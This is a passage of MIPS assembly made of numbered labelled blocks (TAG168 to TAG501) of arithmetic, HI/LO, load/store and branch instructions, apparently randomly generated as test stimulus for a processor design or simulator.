sb $3, 0($4)
mtlo $4
TAG168:
sb $3, 0($3)
lui $4, 7
blez $3, TAG169
mtlo $4
TAG169:
lui $3, 0
lhu $3, 0($3)
blez $3, TAG170
sll $0, $0, 0
TAG170:
sll $0, $0, 0
bltz $4, TAG171
mtlo $4
sll $0, $0, 0
TAG171:
bne $4, $4, TAG172
addiu $2, $4, 14
bltz $4, TAG172
sll $0, $0, 0
TAG172:
multu $2, $2
beq $2, $2, TAG173
andi $1, $2, 5
bne $2, $2, TAG173
TAG173:
andi $1, $1, 4
nor $3, $1, $1
multu $3, $3
mtlo $1
TAG174:
addu $1, $3, $3
mult $1, $1
nor $3, $1, $3
mflo $1
TAG175:
lui $4, 9
divu $4, $4
sltu $2, $1, $1
sll $0, $0, 0
TAG176:
lui $4, 7
bne $2, $4, TAG177
lui $2, 14
sltiu $4, $4, 3
TAG177:
mult $4, $4
or $3, $4, $4
bltz $4, TAG178
lui $2, 13
TAG178:
or $2, $2, $2
lui $3, 1
bne $3, $3, TAG179
slt $2, $2, $2
TAG179:
slti $4, $2, 15
bne $4, $4, TAG180
lh $2, 0($2)
sb $4, -257($2)
TAG180:
sh $2, -257($2)
multu $2, $2
lui $4, 13
sh $4, -257($2)
TAG181:
slt $2, $4, $4
lb $2, 0($2)
mtlo $4
bltz $2, TAG182
TAG182:
lb $1, 0($2)
mult $1, $1
sw $1, 0($1)
lb $4, 0($1)
TAG183:
xori $3, $4, 11
lb $3, 0($3)
mthi $3
sh $3, 0($3)
TAG184:
beq $3, $3, TAG185
lb $1, 0($3)
lui $1, 8
mthi $3
TAG185:
lui $3, 14
sltiu $3, $1, 10
lui $2, 7
srl $1, $3, 15
TAG186:
lui $3, 1
blez $3, TAG187
mfhi $4
mthi $3
TAG187:
mult $4, $4
sltiu $4, $4, 7
slt $4, $4, $4
lui $3, 4
TAG188:
mult $3, $3
sll $0, $0, 0
div $3, $3
slti $4, $3, 3
TAG189:
mult $4, $4
bltz $4, TAG190
mthi $4
lhu $4, 0($4)
TAG190:
bltz $4, TAG191
sll $3, $4, 0
bne $3, $4, TAG191
or $4, $4, $4
TAG191:
sh $4, 0($4)
lui $1, 2
sll $0, $0, 0
mthi $4
TAG192:
mthi $1
srl $4, $1, 1
bltz $1, TAG193
lui $3, 10
TAG193:
sll $0, $0, 0
lui $3, 15
mfhi $4
bgtz $4, TAG194
TAG194:
divu $4, $4
mtlo $4
lui $2, 9
subu $2, $4, $4
TAG195:
multu $2, $2
multu $2, $2
multu $2, $2
lh $1, 0($2)
TAG196:
bgtz $1, TAG197
mfhi $1
sb $1, 0($1)
lui $4, 2
TAG197:
multu $4, $4
sll $0, $0, 0
sltiu $1, $2, 13
slti $2, $2, 14
TAG198:
mthi $2
mfhi $1
multu $1, $2
blez $1, TAG199
TAG199:
multu $1, $1
lui $2, 9
ori $3, $1, 13
lui $1, 7
TAG200:
lui $4, 3
multu $4, $4
sra $3, $1, 4
or $2, $3, $3
TAG201:
sra $2, $2, 1
mfhi $2
sb $2, 0($2)
beq $2, $2, TAG202
TAG202:
sb $2, 0($2)
mthi $2
multu $2, $2
mfhi $2
TAG203:
sb $2, 0($2)
add $1, $2, $2
multu $1, $1
andi $1, $1, 7
TAG204:
mthi $1
nor $3, $1, $1
lui $2, 12
bne $2, $1, TAG205
TAG205:
srl $3, $2, 9
sw $2, -1536($3)
sll $0, $0, 0
addiu $2, $2, 14
TAG206:
multu $2, $2
mflo $1
bne $2, $2, TAG207
mflo $2
TAG207:
sll $0, $0, 0
sll $0, $0, 0
bgez $2, TAG208
divu $4, $4
TAG208:
bltz $4, TAG209
xor $2, $4, $4
mfhi $3
mthi $2
TAG209:
mfhi $2
mult $3, $2
sll $2, $3, 7
lui $1, 12
TAG210:
bgez $1, TAG211
mthi $1
bne $1, $1, TAG211
mtlo $1
TAG211:
sll $0, $0, 0
mflo $4
xori $3, $2, 10
mthi $4
TAG212:
ori $3, $3, 5
mfhi $1
bgez $3, TAG213
lbu $1, 0($3)
TAG213:
sh $1, 0($1)
mtlo $1
slt $4, $1, $1
lw $3, 0($4)
TAG214:
bne $3, $3, TAG215
sll $0, $0, 0
mtlo $3
mult $4, $3
TAG215:
mult $4, $4
srl $1, $4, 7
beq $1, $1, TAG216
lb $4, 0($1)
TAG216:
mult $4, $4
mtlo $4
lui $4, 12
sll $0, $0, 0
TAG217:
sll $0, $0, 0
sll $0, $0, 0
sll $0, $0, 0
ori $1, $4, 9
TAG218:
bne $1, $1, TAG219
nor $3, $1, $1
mtlo $3
multu $1, $1
TAG219:
mtlo $3
ori $4, $3, 3
sll $0, $0, 0
xori $1, $4, 10
TAG220:
bne $1, $1, TAG221
sra $2, $1, 4
mtlo $2
lui $1, 6
TAG221:
sll $0, $0, 0
bne $2, $2, TAG222
mflo $3
sll $0, $0, 0
TAG222:
mflo $1
sll $0, $0, 0
beq $1, $1, TAG223
addiu $3, $1, 8
TAG223:
lui $2, 5
mflo $2
andi $1, $2, 3
addiu $3, $2, 9
TAG224:
mfhi $2
sll $3, $2, 7
bne $3, $3, TAG225
lbu $4, -144($2)
TAG225:
beq $4, $4, TAG226
sh $4, 0($4)
addiu $1, $4, 13
multu $1, $1
TAG226:
lb $2, 0($1)
bltz $2, TAG227
mflo $3
sll $0, $0, 0
TAG227:
mtlo $3
subu $3, $3, $3
bgtz $3, TAG228
sll $3, $3, 6
TAG228:
lhu $3, 0($3)
and $3, $3, $3
mflo $4
mthi $3
TAG229:
sll $0, $0, 0
sllv $3, $4, $1
subu $2, $1, $1
mthi $2
TAG230:
mthi $2
srav $3, $2, $2
mult $3, $2
lui $1, 7
TAG231:
bne $1, $1, TAG232
subu $4, $1, $1
mult $4, $4
blez $1, TAG232
TAG232:
sltiu $3, $4, 3
slti $2, $4, 3
subu $4, $2, $2
sub $3, $2, $4
TAG233:
lui $4, 10
sll $0, $0, 0
blez $4, TAG234
mtlo $3
TAG234:
sll $0, $0, 0
srav $1, $4, $4
bgez $1, TAG235
slti $4, $1, 0
TAG235:
sh $4, 0($4)
lui $1, 9
lw $3, 0($4)
mfhi $3
TAG236:
sh $3, 0($3)
multu $3, $3
bltz $3, TAG237
lhu $3, 0($3)
TAG237:
sb $3, 0($3)
lui $4, 9
sltiu $4, $4, 14
bne $4, $4, TAG238
TAG238:
mfhi $4
xori $2, $4, 15
mtlo $2
mflo $1
TAG239:
bltz $1, TAG240
mfhi $2
sw $1, 0($2)
bgtz $2, TAG240
TAG240:
lw $4, 0($2)
lui $3, 14
ori $2, $4, 4
mfhi $4
TAG241:
bne $4, $4, TAG242
lui $3, 8
lw $3, 0($4)
bgtz $4, TAG242
TAG242:
sltiu $2, $3, 6
lui $3, 13
lb $4, 0($2)
sb $3, 0($4)
TAG243:
mflo $1
mtlo $4
ori $3, $4, 8
mult $4, $3
TAG244:
lui $3, 5
bgez $3, TAG245
ori $4, $3, 7
lui $4, 15
TAG245:
mthi $4
mfhi $3
srav $3, $4, $4
lui $1, 6
TAG246:
lui $4, 14
lui $1, 14
mflo $1
srl $1, $1, 5
TAG247:
lbu $1, 0($1)
mthi $1
bne $1, $1, TAG248
mtlo $1
TAG248:
mtlo $1
lui $1, 7
sll $0, $0, 0
beq $1, $1, TAG249
TAG249:
mult $1, $1
divu $1, $1
bltz $1, TAG250
mfhi $1
TAG250:
andi $1, $1, 15
lui $3, 8
beq $1, $1, TAG251
lui $2, 10
TAG251:
lui $1, 1
mtlo $2
div $2, $1
bgtz $1, TAG252
TAG252:
lui $3, 14
sll $0, $0, 0
mult $1, $3
mfhi $1
TAG253:
beq $1, $1, TAG254
mfhi $3
blez $1, TAG254
mtlo $3
TAG254:
bgtz $3, TAG255
mfhi $2
sra $1, $3, 12
bgtz $3, TAG255
TAG255:
lh $1, 0($1)
mflo $2
mfhi $4
sh $1, 0($4)
TAG256:
divu $4, $4
divu $4, $4
lhu $2, 0($4)
beq $2, $2, TAG257
TAG257:
lhu $4, 0($2)
beq $2, $4, TAG258
xori $1, $2, 15
bne $2, $1, TAG258
TAG258:
lui $3, 10
subu $1, $3, $3
multu $3, $3
sll $3, $3, 13
TAG259:
sll $0, $0, 0
sra $2, $1, 9
sll $0, $0, 0
sltiu $3, $3, 4
TAG260:
sb $3, 0($3)
blez $3, TAG261
sw $3, 0($3)
mult $3, $3
TAG261:
sw $3, 0($3)
mult $3, $3
lui $1, 4
sll $0, $0, 0
TAG262:
div $1, $1
mult $1, $1
mfhi $2
lw $3, 0($2)
TAG263:
divu $3, $3
lb $2, 0($3)
mult $3, $3
bne $2, $3, TAG264
TAG264:
sra $3, $2, 5
bltz $3, TAG265
lb $4, 0($3)
sll $2, $3, 13
TAG265:
mflo $1
mfhi $2
lb $4, 0($1)
mthi $2
TAG266:
bgez $4, TAG267
nor $1, $4, $4
sh $4, 0($1)
lui $1, 11
TAG267:
blez $1, TAG268
lhu $4, 10($1)
addi $4, $1, 4
sh $4, 0($4)
TAG268:
sh $4, 0($4)
mtlo $4
lbu $3, 0($4)
addu $4, $4, $4
TAG269:
multu $4, $4
lui $3, 5
lh $3, 0($4)
add $3, $3, $3
TAG270:
mfhi $3
bltz $3, TAG271
mult $3, $3
lui $1, 13
TAG271:
sra $4, $1, 5
bgtz $4, TAG272
addiu $3, $1, 15
mfhi $4
TAG272:
bgez $4, TAG273
sw $4, -26624($4)
bltz $4, TAG273
lbu $3, 0($4)
TAG273:
mthi $3
sll $0, $0, 0
lui $4, 3
mtlo $4
TAG274:
addiu $4, $4, 0
sra $3, $4, 15
multu $3, $4
mfhi $4
TAG275:
lb $1, 0($4)
lui $4, 12
bgtz $4, TAG276
lbu $1, 0($1)
TAG276:
mult $1, $1
lui $3, 10
sw $1, 0($1)
bgez $3, TAG277
TAG277:
mfhi $4
and $1, $3, $4
bne $3, $4, TAG278
sltu $2, $4, $3
TAG278:
sb $2, 0($2)
divu $2, $2
andi $1, $2, 14
slti $1, $2, 14
TAG279:
addiu $4, $1, 14
sllv $1, $4, $4
bne $4, $1, TAG280
mtlo $4
TAG280:
sll $0, $0, 0
bltz $1, TAG281
sll $0, $0, 0
sll $0, $0, 0
TAG281:
lui $2, 1
addu $1, $1, $2
sll $0, $0, 0
mfhi $3
TAG282:
multu $3, $3
mult $3, $3
mult $3, $3
sb $3, 0($3)
TAG283:
lbu $4, 0($3)
multu $3, $3
blez $4, TAG284
lui $1, 1
TAG284:
nor $3, $1, $1
sra $1, $3, 0
or $4, $1, $3
bne $4, $1, TAG285
TAG285:
multu $4, $4
bltz $4, TAG286
sll $0, $0, 0
sub $3, $4, $1
TAG286:
srl $2, $3, 8
bne $2, $3, TAG287
sll $0, $0, 0
lui $4, 0
TAG287:
xor $2, $4, $4
mfhi $2
sll $0, $0, 0
lui $1, 13
TAG288:
mflo $4
sll $0, $0, 0
div $4, $1
mflo $1
TAG289:
srl $3, $1, 6
mtlo $1
mthi $1
bgez $3, TAG290
TAG290:
sw $3, 0($3)
bgez $3, TAG291
lui $4, 8
mthi $3
TAG291:
multu $4, $4
lui $4, 12
div $4, $4
slt $4, $4, $4
TAG292:
bltz $4, TAG293
sh $4, 0($4)
andi $4, $4, 6
bne $4, $4, TAG293
TAG293:
slt $4, $4, $4
beq $4, $4, TAG294
lui $2, 9
lb $1, 0($4)
TAG294:
sb $1, 0($1)
bltz $1, TAG295
mfhi $2
lb $3, 0($2)
TAG295:
sw $3, 0($3)
sb $3, 0($3)
sh $3, 0($3)
mtlo $3
TAG296:
bltz $3, TAG297
lui $4, 13
andi $4, $3, 14
mtlo $4
TAG297:
multu $4, $4
andi $4, $4, 12
mthi $4
xor $2, $4, $4
TAG298:
blez $2, TAG299
mflo $4
sllv $4, $4, $2
sb $2, 0($4)
TAG299:
sb $4, 0($4)
lui $2, 8
sh $4, 0($4)
mtlo $4
TAG300:
mtlo $2
bne $2, $2, TAG301
sll $0, $0, 0
xori $4, $2, 0
TAG301:
sll $0, $0, 0
mtlo $4
sll $0, $0, 0
mfhi $4
TAG302:
lhu $2, 0($4)
lui $1, 9
sll $0, $0, 0
sb $2, 0($4)
TAG303:
srav $4, $4, $4
srav $4, $4, $4
mflo $3
divu $4, $3
TAG304:
mfhi $2
blez $3, TAG305
mtlo $3
mfhi $2
TAG305:
mthi $2
mult $2, $2
mtlo $2
lui $2, 11
TAG306:
beq $2, $2, TAG307
sll $0, $0, 0
sw $2, 0($2)
mthi $2
TAG307:
mflo $2
bne $2, $2, TAG308
sh $2, 0($2)
bgtz $2, TAG308
TAG308:
mfhi $2
lhu $3, 0($2)
bne $2, $3, TAG309
mthi $2
TAG309:
mfhi $1
bgtz $1, TAG310
sra $1, $1, 14
lh $4, 0($1)
TAG310:
lh $2, 0($4)
beq $4, $2, TAG311
add $3, $4, $2
lhu $2, 0($3)
TAG311:
mflo $2
mult $2, $2
multu $2, $2
bgez $2, TAG312
TAG312:
mflo $3
sh $3, 0($2)
slt $2, $3, $2
lui $4, 4
TAG313:
nor $3, $4, $4
lui $2, 9
slt $1, $2, $4
mfhi $4
TAG314:
addu $2, $4, $4
lui $1, 14
mult $4, $2
srlv $3, $1, $2
TAG315:
mthi $3
multu $3, $3
div $3, $3
andi $3, $3, 5
TAG316:
sltiu $3, $3, 2
mthi $3
mthi $3
sra $3, $3, 12
TAG317:
addi $4, $3, 1
mult $3, $4
subu $2, $3, $3
bltz $2, TAG318
TAG318:
mult $2, $2
lw $1, 0($2)
mult $1, $1
multu $2, $2
TAG319:
mflo $3
subu $1, $1, $3
lw $4, 0($3)
addiu $2, $3, 3
TAG320:
addu $2, $2, $2
lbu $2, 0($2)
mflo $3
mtlo $2
TAG321:
addi $3, $3, 8
addiu $4, $3, 14
sll $1, $4, 4
mtlo $3
TAG322:
lui $3, 6
bne $3, $3, TAG323
mthi $3
multu $1, $3
TAG323:
bne $3, $3, TAG324
and $4, $3, $3
sll $0, $0, 0
blez $4, TAG324
TAG324:
lui $1, 14
div $1, $4
mfhi $1
sll $0, $0, 0
TAG325:
bltz $1, TAG326
sll $0, $0, 0
mflo $2
sra $4, $1, 5
TAG326:
mthi $4
bgtz $4, TAG327
mfhi $4
lbu $3, 0($4)
TAG327:
srlv $1, $3, $3
sll $0, $0, 0
lbu $4, 0($2)
mult $2, $4
TAG328:
sub $2, $4, $4
addiu $3, $4, 7
sb $2, 0($3)
beq $3, $3, TAG329
TAG329:
xor $2, $3, $3
sb $3, 0($3)
nor $3, $3, $3
or $4, $3, $2
TAG330:
sll $0, $0, 0
bne $4, $4, TAG331
mtlo $4
sra $1, $4, 7
TAG331:
bltz $1, TAG332
mtlo $1
mfhi $3
lui $3, 4
TAG332:
mtlo $3
lui $4, 2
srlv $3, $3, $4
div $4, $3
TAG333:
mtlo $3
sra $1, $3, 9
bgtz $3, TAG334
lh $1, 8($3)
TAG334:
xor $1, $1, $1
bne $1, $1, TAG335
sll $3, $1, 1
lui $4, 4
TAG335:
beq $4, $4, TAG336
sll $0, $0, 0
srl $3, $2, 12
sw $3, 0($4)
TAG336:
multu $3, $3
srav $2, $3, $3
mfhi $1
sw $3, 0($2)
TAG337:
beq $1, $1, TAG338
and $4, $1, $1
lui $3, 13
sb $4, 0($3)
TAG338:
lw $2, 0($3)
bgtz $3, TAG339
nor $1, $2, $3
mfhi $3
TAG339:
mfhi $3
beq $3, $3, TAG340
nor $3, $3, $3
lb $4, 0($3)
TAG340:
lui $1, 3
multu $1, $4
bne $4, $1, TAG341
mfhi $1
TAG341:
and $2, $1, $1
mtlo $2
sltiu $3, $2, 6
beq $2, $2, TAG342
TAG342:
mult $3, $3
bgez $3, TAG343
lb $1, 0($3)
mtlo $3
TAG343:
lbu $2, 0($1)
lh $2, 0($2)
bne $2, $2, TAG344
mult $2, $2
TAG344:
mflo $1
mult $2, $2
lw $3, 0($2)
ori $4, $2, 7
TAG345:
lui $3, 8
bne $3, $4, TAG346
multu $3, $3
lw $1, 0($4)
TAG346:
addiu $4, $1, 5
bgez $1, TAG347
mtlo $4
mflo $3
TAG347:
sll $0, $0, 0
sllv $3, $2, $2
lui $2, 14
multu $3, $3
TAG348:
sll $0, $0, 0
sll $0, $0, 0
lhu $2, 0($3)
lbu $1, 0($3)
TAG349:
nor $1, $1, $1
mflo $2
srav $4, $2, $1
lb $1, 0($2)
TAG350:
bgez $1, TAG351
addu $3, $1, $1
sw $3, 0($1)
lui $3, 6
TAG351:
mthi $3
bltz $3, TAG352
mtlo $3
mult $3, $3
TAG352:
lh $4, 0($3)
slt $3, $3, $4
mfhi $4
ori $3, $4, 9
TAG353:
sltiu $4, $3, 0
mtlo $3
bgez $3, TAG354
multu $3, $4
TAG354:
blez $4, TAG355
lui $1, 13
divu $1, $1
slti $3, $1, 1
TAG355:
sb $3, 0($3)
mflo $1
lui $4, 7
sb $4, 0($3)
TAG356:
sll $0, $0, 0
mtlo $4
xori $2, $4, 6
sll $0, $0, 0
TAG357:
subu $4, $2, $2
sll $0, $0, 0
bgtz $4, TAG358
mthi $2
TAG358:
multu $4, $4
mfhi $2
bne $2, $2, TAG359
mtlo $2
TAG359:
lhu $1, 0($2)
sh $1, 0($2)
lui $4, 11
bgez $2, TAG360
TAG360:
mthi $4
sll $0, $0, 0
xor $3, $4, $4
sra $3, $4, 15
TAG361:
lbu $2, 0($3)
mult $3, $2
bgtz $3, TAG362
lh $1, 0($2)
TAG362:
beq $1, $1, TAG363
addu $2, $1, $1
sll $3, $1, 12
mtlo $3
TAG363:
lui $1, 15
beq $3, $3, TAG364
mflo $1
lui $3, 11
TAG364:
xori $3, $3, 0
mflo $3
multu $3, $3
mfhi $1
TAG365:
beq $1, $1, TAG366
lui $4, 1
divu $1, $1
sh $1, 0($4)
TAG366:
beq $4, $4, TAG367
sll $0, $0, 0
beq $4, $1, TAG367
lhu $2, 0($1)
TAG367:
beq $2, $2, TAG368
mflo $1
lui $2, 14
bgez $1, TAG368
TAG368:
lhu $3, 0($2)
lui $1, 8
mflo $3
bne $1, $1, TAG369
TAG369:
mult $3, $3
bltz $3, TAG370
mflo $3
beq $3, $3, TAG370
TAG370:
mthi $3
mflo $2
xor $1, $2, $3
slti $2, $1, 12
TAG371:
lui $1, 13
mthi $1
sll $0, $0, 0
lbu $1, 0($2)
TAG372:
mthi $1
sll $2, $1, 5
lbu $4, 0($1)
mtlo $1
TAG373:
multu $4, $4
lw $2, 0($4)
bne $4, $4, TAG374
mtlo $2
TAG374:
andi $3, $2, 2
bltz $3, TAG375
lh $3, 0($3)
mfhi $1
TAG375:
mflo $2
ori $3, $2, 5
lui $2, 12
sll $0, $0, 0
TAG376:
mfhi $3
slti $1, $2, 10
ori $4, $1, 13
bne $4, $4, TAG377
TAG377:
lbu $2, 0($4)
lbu $4, 0($4)
beq $4, $4, TAG378
mflo $1
TAG378:
mtlo $1
andi $2, $1, 5
mthi $2
bgez $2, TAG379
TAG379:
addu $1, $2, $2
blez $1, TAG380
sltiu $2, $1, 14
bltz $1, TAG380
TAG380:
sb $2, 0($2)
blez $2, TAG381
sltu $1, $2, $2
mthi $2
TAG381:
mflo $3
lui $1, 3
div $1, $1
subu $4, $1, $1
TAG382:
lw $2, 0($4)
mfhi $2
lh $1, 0($2)
mtlo $4
TAG383:
sb $1, -256($1)
bltz $1, TAG384
mfhi $1
mtlo $1
TAG384:
lbu $2, 0($1)
sb $2, 0($1)
lui $4, 4
lh $2, 0($1)
TAG385:
sw $2, -256($2)
addiu $4, $2, 13
mthi $4
lui $4, 0
TAG386:
mflo $4
bgtz $4, TAG387
mfhi $1
mthi $4
TAG387:
sllv $3, $1, $1
bne $3, $3, TAG388
mflo $3
andi $2, $3, 1
TAG388:
lui $1, 14
sra $2, $1, 7
bltz $2, TAG389
lw $1, -7168($2)
TAG389:
bne $1, $1, TAG390
subu $4, $1, $1
beq $4, $4, TAG390
div $1, $1
TAG390:
mult $4, $4
sltiu $2, $4, 0
multu $2, $2
mflo $2
TAG391:
lui $2, 2
addiu $3, $2, 7
lui $1, 10
bgtz $2, TAG392
TAG392:
mtlo $1
sll $0, $0, 0
sll $0, $0, 0
mflo $4
TAG393:
multu $4, $4
multu $4, $4
lui $2, 6
blez $4, TAG394
TAG394:
lui $2, 2
subu $2, $2, $2
bgez $2, TAG395
lh $4, 0($2)
TAG395:
bne $4, $4, TAG396
lui $2, 3
nor $1, $2, $4
sll $0, $0, 0
TAG396:
xor $1, $2, $2
mtlo $2
xori $3, $1, 14
lui $3, 7
TAG397:
sll $0, $0, 0
sll $0, $0, 0
lhu $3, 0($1)
lui $4, 0
TAG398:
lw $2, 0($4)
sll $1, $4, 12
sh $1, 0($4)
srav $3, $4, $1
TAG399:
bne $3, $3, TAG400
sh $3, 0($3)
lui $3, 0
mtlo $3
TAG400:
beq $3, $3, TAG401
mflo $4
lui $4, 2
srlv $3, $4, $4
TAG401:
lui $1, 2
bne $3, $3, TAG402
mthi $3
beq $3, $3, TAG402
TAG402:
sll $0, $0, 0
mtlo $1
mflo $1
lui $2, 4
TAG403:
divu $2, $2
sll $0, $0, 0
xori $4, $4, 3
sll $0, $0, 0
TAG404:
lbu $2, 0($4)
lb $2, 0($2)
sllv $3, $2, $2
lw $4, 0($2)
TAG405:
sh $4, 0($4)
sltu $4, $4, $4
multu $4, $4
lb $1, 0($4)
TAG406:
addu $4, $1, $1
sw $1, 0($4)
lbu $1, 0($4)
mult $1, $1
TAG407:
bgez $1, TAG408
addiu $3, $1, 6
lui $4, 2
mfhi $1
TAG408:
mthi $1
sw $1, 0($1)
bltz $1, TAG409
sh $1, 0($1)
TAG409:
multu $1, $1
sw $1, 0($1)
sub $3, $1, $1
bgez $3, TAG410
TAG410:
lhu $1, 0($3)
lui $3, 0
multu $3, $3
bne $3, $3, TAG411
TAG411:
slti $4, $3, 5
mthi $3
mult $3, $3
subu $3, $4, $4
TAG412:
beq $3, $3, TAG413
srav $4, $3, $3
mtlo $3
divu $3, $3
TAG413:
bgez $4, TAG414
mult $4, $4
mflo $3
mflo $2
TAG414:
addu $3, $2, $2
lui $2, 6
lbu $1, 0($3)
sll $0, $0, 0
TAG415:
lui $2, 1
bgtz $1, TAG416
sll $0, $0, 0
multu $1, $1
TAG416:
bltz $2, TAG417
mflo $1
beq $1, $2, TAG417
sll $3, $2, 7
TAG417:
multu $3, $3
addiu $4, $3, 10
sll $0, $0, 0
bgez $4, TAG418
TAG418:
mtlo $4
beq $4, $4, TAG419
mtlo $4
sw $4, 0($4)
TAG419:
sll $0, $0, 0
addiu $3, $4, 5
sll $0, $0, 0
xor $2, $3, $4
TAG420:
div $2, $2
mthi $2
srl $2, $2, 15
sh $2, 0($2)
TAG421:
mult $2, $2
blez $2, TAG422
lui $3, 3
lb $3, 0($3)
TAG422:
sll $0, $0, 0
addu $3, $3, $3
subu $3, $3, $3
lui $3, 5
TAG423:
subu $3, $3, $3
nor $3, $3, $3
bltz $3, TAG424
multu $3, $3
TAG424:
addu $4, $3, $3
mflo $1
beq $3, $3, TAG425
lh $3, 2($4)
TAG425:
mult $3, $3
beq $3, $3, TAG426
sltiu $4, $3, 0
sub $1, $3, $4
TAG426:
lui $2, 12
bltz $1, TAG427
mtlo $1
sll $0, $0, 0
TAG427:
lui $2, 12
srlv $1, $2, $2
srl $4, $2, 14
sll $0, $0, 0
TAG428:
mthi $3
blez $3, TAG429
mflo $1
addu $2, $3, $3
TAG429:
sll $0, $0, 0
mfhi $1
addu $1, $1, $4
lui $4, 6
TAG430:
sll $0, $0, 0
mtlo $4
xori $2, $4, 6
sll $0, $0, 0
TAG431:
bltz $2, TAG432
mthi $2
lui $3, 10
multu $2, $3
TAG432:
mflo $2
sll $0, $0, 0
div $4, $3
addiu $3, $3, 12
TAG433:
beq $3, $3, TAG434
nor $4, $3, $3
lhu $1, 0($4)
mfhi $4
TAG434:
sll $0, $0, 0
mtlo $4
bltz $2, TAG435
multu $4, $2
TAG435:
sll $0, $0, 0
multu $2, $2
bne $2, $2, TAG436
lui $3, 10
TAG436:
bne $3, $3, TAG437
div $3, $3
beq $3, $3, TAG437
div $3, $3
TAG437:
mflo $4
sll $0, $0, 0
sll $1, $4, 4
lbu $3, 0($4)
TAG438:
and $2, $3, $3
bgtz $2, TAG439
sltu $3, $3, $3
srlv $1, $3, $3
TAG439:
sra $1, $1, 4
blez $1, TAG440
lui $2, 13
mfhi $2
TAG440:
srav $4, $2, $2
lui $3, 13
sll $0, $0, 0
bne $2, $4, TAG441
TAG441:
lui $1, 14
mfhi $3
sll $0, $0, 0
sw $1, 0($3)
TAG442:
mult $3, $3
multu $3, $3
blez $3, TAG443
ori $1, $3, 6
TAG443:
addu $2, $1, $1
or $3, $1, $2
ori $3, $2, 0
lbu $4, 0($2)
TAG444:
sltiu $1, $4, 0
mult $1, $4
mthi $1
lui $1, 10
TAG445:
sll $0, $0, 0
lui $3, 4
bne $1, $1, TAG446
mfhi $1
TAG446:
bne $1, $1, TAG447
multu $1, $1
ori $2, $1, 0
sra $4, $2, 2
TAG447:
beq $4, $4, TAG448
ori $3, $4, 2
bltz $3, TAG448
div $4, $4
TAG448:
mult $3, $3
subu $3, $3, $3
beq $3, $3, TAG449
lh $3, 0($3)
TAG449:
sw $3, 0($3)
multu $3, $3
slti $1, $3, 13
lb $3, 0($1)
TAG450:
nor $4, $3, $3
mthi $4
mult $3, $3
srl $3, $3, 15
TAG451:
multu $3, $3
sh $3, 0($3)
multu $3, $3
mfhi $2
TAG452:
xori $3, $2, 3
ori $4, $2, 1
sh $3, 0($2)
lui $4, 10
TAG453:
mflo $2
bgez $4, TAG454
sll $0, $0, 0
mflo $1
TAG454:
mflo $2
sb $2, 0($1)
addu $4, $1, $1
mtlo $1
TAG455:
multu $4, $4
lui $3, 0
addiu $4, $3, 8
andi $1, $4, 9
TAG456:
mthi $1
mfhi $4
mthi $4
blez $4, TAG457
TAG457:
mtlo $4
bgez $4, TAG458
subu $3, $4, $4
andi $4, $4, 12
TAG458:
bgez $4, TAG459
div $4, $4
add $4, $4, $4
mthi $4
TAG459:
lhu $4, 0($4)
beq $4, $4, TAG460
lbu $4, 0($4)
srav $4, $4, $4
TAG460:
addu $4, $4, $4
sh $4, 0($4)
multu $4, $4
slti $4, $4, 9
TAG461:
bne $4, $4, TAG462
divu $4, $4
bltz $4, TAG462
sb $4, 0($4)
TAG462:
mult $4, $4
ori $1, $4, 3
lbu $1, 0($1)
and $1, $1, $1
TAG463:
sub $3, $1, $1
lui $2, 6
subu $3, $2, $3
lui $3, 2
TAG464:
sltu $3, $3, $3
lhu $2, 0($3)
beq $3, $2, TAG465
sllv $1, $2, $2
TAG465:
nor $1, $1, $1
sb $1, 257($1)
sb $1, 257($1)
mflo $2
TAG466:
multu $2, $2
mflo $2
lui $1, 10
bgez $2, TAG467
TAG467:
mtlo $1
sll $0, $0, 0
lb $4, 0($3)
sll $0, $0, 0
TAG468:
lb $4, 0($2)
lui $4, 9
bgez $4, TAG469
subu $1, $4, $2
TAG469:
divu $1, $1
bltz $1, TAG470
mthi $1
mflo $1
TAG470:
bgez $1, TAG471
divu $1, $1
lui $2, 4
beq $2, $1, TAG471
TAG471:
srl $2, $2, 2
lui $1, 15
divu $2, $1
sh $2, 0($2)
TAG472:
addiu $1, $1, 15
sll $0, $0, 0
lui $4, 1
mult $4, $1
TAG473:
mfhi $1
sll $0, $0, 0
bne $2, $1, TAG474
mflo $2
TAG474:
sll $0, $0, 0
bne $2, $2, TAG475
sra $2, $2, 14
blez $2, TAG475
TAG475:
slt $1, $2, $2
lhu $2, 0($2)
mthi $2
blez $1, TAG476
TAG476:
mtlo $2
div $2, $2
mthi $2
mflo $1
TAG477:
beq $1, $1, TAG478
mthi $1
lui $4, 8
bne $1, $4, TAG478
TAG478:
mflo $4
lui $4, 7
lui $2, 12
bltz $4, TAG479
TAG479:
mfhi $4
sb $4, 0($4)
addiu $4, $4, 0
beq $2, $4, TAG480
TAG480:
lui $3, 7
sll $2, $4, 5
lui $4, 10
lh $3, 0($2)
TAG481:
lui $1, 11
sb $1, 0($3)
bne $3, $3, TAG482
sll $0, $0, 0
TAG482:
lui $4, 8
or $1, $4, $4
mtlo $1
or $3, $1, $1
TAG483:
multu $3, $3
sll $0, $0, 0
div $3, $3
sll $0, $0, 0
TAG484:
bltz $3, TAG485
mtlo $3
bne $3, $3, TAG485
mfhi $2
TAG485:
mtlo $2
lui $2, 3
andi $2, $2, 15
mtlo $2
TAG486:
slti $1, $2, 12
beq $2, $2, TAG487
sb $2, 0($1)
sb $1, 0($1)
TAG487:
sb $1, 0($1)
bne $1, $1, TAG488
sb $1, 0($1)
lb $4, 0($1)
TAG488:
bgtz $4, TAG489
lbu $2, 0($4)
lbu $1, 0($2)
bne $4, $1, TAG489
TAG489:
sb $1, 0($1)
mtlo $1
multu $1, $1
andi $1, $1, 10
TAG490:
addi $4, $1, 6
lui $1, 6
beq $1, $1, TAG491
srl $1, $1, 1
TAG491:
mflo $2
lui $3, 8
beq $2, $2, TAG492
sll $0, $0, 0
TAG492:
mult $3, $3
sllv $2, $3, $3
sltiu $1, $2, 7
sltiu $2, $2, 10
TAG493:
mthi $2
slti $4, $2, 10
addi $3, $2, 6
lbu $1, 0($4)
TAG494:
sb $1, 0($1)
mtlo $1
bltz $1, TAG495
and $3, $1, $1
TAG495:
sb $3, 0($3)
lbu $2, 0($3)
mflo $2
andi $2, $2, 14
TAG496:
mtlo $2
mfhi $4
sw $4, 0($4)
sb $2, 0($4)
TAG497:
add $3, $4, $4
add $2, $3, $3
mtlo $2
mult $3, $3
TAG498:
bne $2, $2, TAG499
mthi $2
bgez $2, TAG499
mflo $3
TAG499:
lb $4, 0($3)
lui $1, 4
lbu $2, 0($3)
sw $3, 0($2)
TAG500:
multu $2, $2
lui $1, 8
bgtz $2, TAG501
lbu $3, 0($2)
TAG501:
